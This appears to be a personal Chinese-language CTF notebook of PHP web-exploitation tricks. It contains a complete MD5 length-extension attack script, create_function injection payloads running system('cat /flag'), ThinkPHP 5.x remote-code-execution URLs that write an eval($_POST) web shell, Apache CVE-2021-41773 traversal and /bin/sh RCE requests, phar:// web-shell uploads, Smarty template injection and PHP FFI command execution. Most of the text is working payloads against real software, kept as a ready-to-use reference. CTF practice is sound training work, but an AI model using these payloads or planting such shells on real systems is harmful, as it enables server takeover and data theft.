%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
双MD5绕过
if ($a != $b && md5($a) == md5(md5($b)) {
echo "flag{XXXXX}";
- MD5大全:
- CbDLytmyGm2xQyaLNhWn
- md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18 md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af 770hQgrBOjrcqftrlaZk
- md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625 md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064
- 7r4lGXCH2Ksu2JNT3BYM
- md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849 md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f
MD5哈希长度拓展攻击
最近研究base的一道题目真的是给我搞吐血
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}
// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';
$name = $_POST['name'] ?? 'user';
// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}
$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}
// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');
这是我卡住的那一部分,研究了很久才知道这道题考的是md5拓展攻击,懒得去理解原理,就直接说这类题目的特点吧,就是会有一个未知的$salt,但是我们已知$salt的长度和哈希值,但是不知道具体的值是多少,然后还知道一个已知的值$b,这个$b是由我们输入和控制的,这个时候,题目会要求我们输入一个值$MD5,这个值要和$salt+$b的md5值相等,这就是这类题目的特点。
然后想要这个MD5的值的话,就只能上工具,这里推荐使用hashpump,但是GitHub上面主流的那些博客中提到的hashpump已经找不到了,就只能用另一个python脚本呢。
这个脚本用起来也很简单,就是把$b输入进去,然后把$salt的哈希值输入进去,在输入扩展,这里扩展就随便输,然后在输入$salt的长度,就可以出现我么所需要的$MD5的值和$b所要输入的值。
但是在题目里一直解不出来,真的是气死我了
补充:这道题目后续解出来了,就是如果没有已知明文的话,就不要添加已知明文,画蛇添足了。
MD5长度拓展攻击脚本
from struct import pack, unpack
from math import floor, sin
"""
MD5 Extension Attack
====================
@refs
https://github.com/shellfeel/hash-ext-attack
"""
class MD5:
def __init__(self):
self.A, self.B, self.C, self.D = \
(0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476) # initial values
self.r: list[int] = \
[7, 12, 17, 22] * 4 + [5, 9, 14, 20] * 4 + \
[4, 11, 16, 23] * 4 + [6, 10, 15, 21] * 4 # shift values
self.k: list[int] = \
[floor(abs(sin(i + 1)) * pow(2, 32))
for i in range(64)] # constants
def _lrot(self, x: int, n: int) -> int:
# left rotate
return (x << n) | (x >> 32 - n)
def update(self, chunk: bytes) -> None:
# update the hash for a chunk of data (64 bytes)
w = list(unpack('<'+'I'*16, chunk))
a, b, c, d = self.A, self.B, self.C, self.D
for i in range(64):
if i < 16:
f = (b & c) | ((~b) & d)
flag = i
elif i < 32:
f = (b & d) | (c & (~d))
flag = (5 * i + 1) % 16
elif i < 48:
f = (b ^ c ^ d)
flag = (3 * i + 5) % 16
else:
f = c ^ (b | (~d))
flag = (7 * i) % 16
tmp = b + \
self._lrot((a + f + self.k[i] + w[flag])
& 0xffffffff, self.r[i])
a, b, c, d = d, tmp & 0xffffffff, b, c
self.A = (self.A + a) & 0xffffffff
self.B = (self.B + b) & 0xffffffff
self.C = (self.C + c) & 0xffffffff
self.D = (self.D + d) & 0xffffffff
def extend(self, msg: bytes) -> None:
# extend the hash with a new message (padded)
assert len(msg) % 64 == 0
for i in range(0, len(msg), 64):
self.update(msg[i:i + 64])
def padding(self, msg: bytes) -> bytes:
# pad the message
length = pack('<Q', len(msg) * 8)
msg += b'\x80'
msg += b'\x00' * ((56 - len(msg)) % 64)
msg += length
return msg
def digest(self) -> bytes:
# return the hash
return pack('<IIII', self.A, self.B, self.C, self.D)
def verify_md5(test_string: bytes) -> None:
# (DEBUG function) verify the MD5 implementation
from hashlib import md5 as md5_hashlib
def md5_manual(msg: bytes) -> bytes:
md5 = MD5()
md5.extend(md5.padding(msg))
return md5.digest()
manual_result = md5_manual(test_string).hex()
hashlib_result = md5_hashlib(test_string).hexdigest()
assert manual_result == hashlib_result, "Test failed!"
def attack(message_len: int, known_hash: str,
append_str: bytes) -> tuple:
# MD5 extension attack
md5 = MD5()
previous_text = md5.padding(b"*" * message_len)
current_text = previous_text + append_str
md5.A, md5.B, md5.C, md5.D = unpack("<IIII", bytes.fromhex(known_hash))
md5.extend(md5.padding(current_text)[len(previous_text):])
return current_text[message_len:], md5.digest().hex()
if __name__ == '__main__':
message_len = int(input("[>] Input known text length: "))
known_hash = input("[>] Input known hash: ").strip()
append_text = input("[>] Input append text: ").strip().encode()
print("[*] Attacking...")
extend_str, final_hash = attack(message_len, known_hash, append_text)
from urllib.parse import quote
from base64 import b64encode
print("[+] Extend text:", extend_str)
print("[+] Extend text (URL encoded):", quote(extend_str))
print("[+] Extend text (Base64):", b64encode(extend_str).decode())
print("[+] Final hash:", final_hash)
之所以要再加个脚本是因为遇到了一道题目是需要明文的base64的,但是我尝试了将解出来的明文直接进行base64加密发现是不行的,暂时还没有发现其原因
$a==md5($a)
0e215962017
MD5整数型和字符串型绕过
<?php
if(sha1(12) === sha1('12') && md5(1) === md5('1')){
echo("666");
}
else{
echo("777");
}
?>
//输出结果是666
遇见一个很神奇的东西可以绕过强比较,就是当字符串型和整数型的MD5相比较的时候,居然可以绕过强相等,只能说,过于牛逼。
原理介绍,MD5和sha1加密所要求的都是字符型,这里涉及到强制转换,所有输入的参数都会被转换成String,因此可以这么绕过
在此之上,有个大佬给了我一个更全新的思路
原理就是sha1和md5的强制转换,会将数组类型转换成sha1(Array),因此全部相等。
Error和Exception原生类绕过md5强相等
因为错误和异常信息是带有文件和行数的,所以要在同一行,要注意$a和$b要在同一行,然后看到一篇文章,如果不是强相等的话,里面还得添加东西,目前没遇到过,但是先记录下来
MD5相等文件
使用fastcoll即可,把图片拖动到exe上即可自动运行脚本生成两个md5值相等的文件
php会将空格解析成_
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:CTF[SHOW.COM
=>CTF_SHOW.COM
/level_level_4.php?NI+SA+=txw4ever = /level_level_4.php?NI_SA_=txw4ever
create_function()代码注入
create_function函数根据传递的参数创建匿名函数,并为其返回唯一名称。
语法:
create_function(string $args,string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分
什么意思呢,其实就是利用了这个函数之后,会在类里头创建一个方法,前面的参数是方法名,后面的参数是方法里头的命令。
<?php
$id = $_GET['id'];
$str = 'echo '.$id.';';
$ft = creat_function('$id',$str);
$ft($id);
?>
$ft = creat_function(‘$id’,$str);
创建了一个匿名函数,那么我们可以通过}闭合第一个{在}后面插入我们想要执行的代码就能够造成一个人代码注入
其大概类似于
function ft($id){
echo $id;
}
进行代码注入
function ft($id){
echo 1;}phpinfo();/*
}
那么php就会去执行我们输入phpinfo();代码。
还遇到了一题没有creat_funtion()函数却依旧可以注入的情况
<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";
$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
else{
$a('',$b);
}
目前还不知道为什么会用到这个函数注入,有点莫名其妙,但是没事,先记录下来
payload:
/55_5_55.php?a=\create_function&b=}system('cat /flag');/*
再来一个例题
<?php
class Noteasy{
protected $param1;
protected $param2;
function __destruct(){
$a=$this->param1;
$b=$this->param2;
if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
die('this param is error!');
} else {
$a('', $b);
}
}
}
if (!isset($_GET['file'])){
show_source('index.php');
echo "Hi!Welcome to FSCTF2023!";
}
else{
$file=base64_decode($_GET['file']);
unserialize($file); }
?>
Hi!Welcome to FSCTF2023!
$a(”, $b); 这一段代码,就可以利用到create_function这个函数的漏洞。
ThinkPHP V5与2018年曝出漏洞,查找poc
5.0.x 版本:
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=内容用URL编码
5.1版本:
?s=index/think\request/input?data[]=phpinfo()&filter=assert
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
?s=index/\think\template\driver\file/write
&cacheFile=aaa.php&content=<?php @eval($_POST['cmd']);?>
找不到文件的话,就使用以下命令,应该可以找到
system find / -type f -name "flag" -exec cat {} \; //find /就是在根目录下寻找文件,-type f 母鸡啊我也不知道,-name就是名字,-exec cat {}\;就是回显搜索到的文件
以上指令不行的话,多看看收藏文件夹,里头有文章
写一个上面的简化版本
find / |grep flag
/*意思就是在根目录下寻找含有flag字符文件的路径
/* . 是在当前目录 ~ 是当前登陆用户的用户目录
如果想要让其全部输出的话,就补上| xargs cat
Phar伪协议
phar://伪协议
这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意 PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。步骤:写一个一句话木马shell.php,然后用zip协议解压缩为shell.zip。然后将后缀改为png等其他格式
接触到这个伪协议是在做一道文件上传时,要求用zip格式上传,于是就看到了phar伪协议。相关步骤就是将一句话木马的php文件压缩成zip文件然后上传,最后用phar://上传地址/xx.php来连接蚁剑,目前还没有碰到上面所说的需要把后缀改成png其他格式的情况出现。值得注意的是,需要先测试一下他会不会自动给你加上php后缀,我的那道题目就会自己给我加上php的后缀,因此链接的时候,就不需要带上php的后缀。
总结出来做题规律就是,有碰到zip的文件上传的时候,可以关注一下。
Apahce HTTPd 2.4.49(CVE-2021-41773)漏洞
这个漏洞就是在apache 2.4.49版本下存在一个任意文件读取漏洞
任意文件读取POC:
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: x.x.x.x:8080
RCE:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 192.168.109.128:8080
.....
echo; ls (命令)
//再贴一个寻找flag的指令,因为我做的这一道题把flag藏起来了
grep -r:递归查找子目录中的文件。
echo; grep -r "NSS" /flag_is_here
我用的指令是echo;cat $(find /flag_is_here -type f);会爆出很多乱码,直接寻找flag头也能找到flag
$() 是一种现代的命令替换方式,它会执行括号内的命令,并用其输出结果替换掉 $() 部分。与传统的反引号(``)方法相比,$() 更易读和嵌套使用。
在这个例子中,$() 的作用是将 find 命令的输出(即所有文件的路径)传递给 cat 命令,以便 cat 能够显示这些文件的内容。
preg_match(‘/^$/’)用换行符%0a绕过
call_user_func(类::类中方法)
<?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
static function ctf(){
include("./hint2.php");
}
}
if(isset($_GET['p'])){
if (preg_match("/n|c/m",$_GET['p'], $matches))
die("no");
call_user_func($_GET['p']);
}else{
highlight_file(__FILE__);
}
今天在做一道题目的时候遇到的call_user_func()函数的用法,就是 类:: 方法 用于直接调用一个类中的方法,像这道题目的pyload就是p=Nss2::Ctf,只不过这题感觉这个知识点利用的没头没尾的。
Smarty模板注入
第一种是XFF的smarty模板注入,这个注意一下就好了,XFF:{system(‘ls’);}
通常情况下建议用{if xxx}{/if}标签进行注入,注意在这里头使用system()函数的时候后面不要加分号,不然会报错
算是比较简单的一种SSTI吧
PHP的FFI扩展漏洞
PHP7.4版本之后出现了一个扩展叫做FFI,可以调用到C语言的库
payload:c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0); //首先遍历数组,找到flag文件位置
c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();
原理:这个我没有去深挖,就去看了个大概,最近有点忙,没空去仔细研究。
首先是FFI扩展调用c库的语法为:FFI::cdef([string $cdef = “” [, string $lib = null]]): FFI
利用的方法很简单,只需要两步,一步是申明,一步是调用
首先我们使用FFI::cdef()
函数在PHP中声明一个我们要调用的这个C库中的函数以及使用到的数据类型,类似如下
$ffi = FFI::cdef("int system(char* command);"); # 声明C语言中的system函数
这将返回一个新创建的FFI对象,然后使用以下方法即可调用这个对象中所声明的函数:
$ffi ->system("ls / > /tmp/res.txt"); # 执行ls /命令并将结果写入/tmp/res.txt
FFI调用c语言库
$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");$o = $ffi->popen("ls /","r");$d = "";while(($c = $ffi->fgetc($o)) != -1){$d .= str_pad(strval(dechex($c)),2,"0",0);}$ffi->pclose($o);echo hex2bin($d);/*
FFI调用PHP库
$ffi = FFI::cdef("int php_exec(int type, char *cmd);");$ffi->php_exec(3,"ls /");/*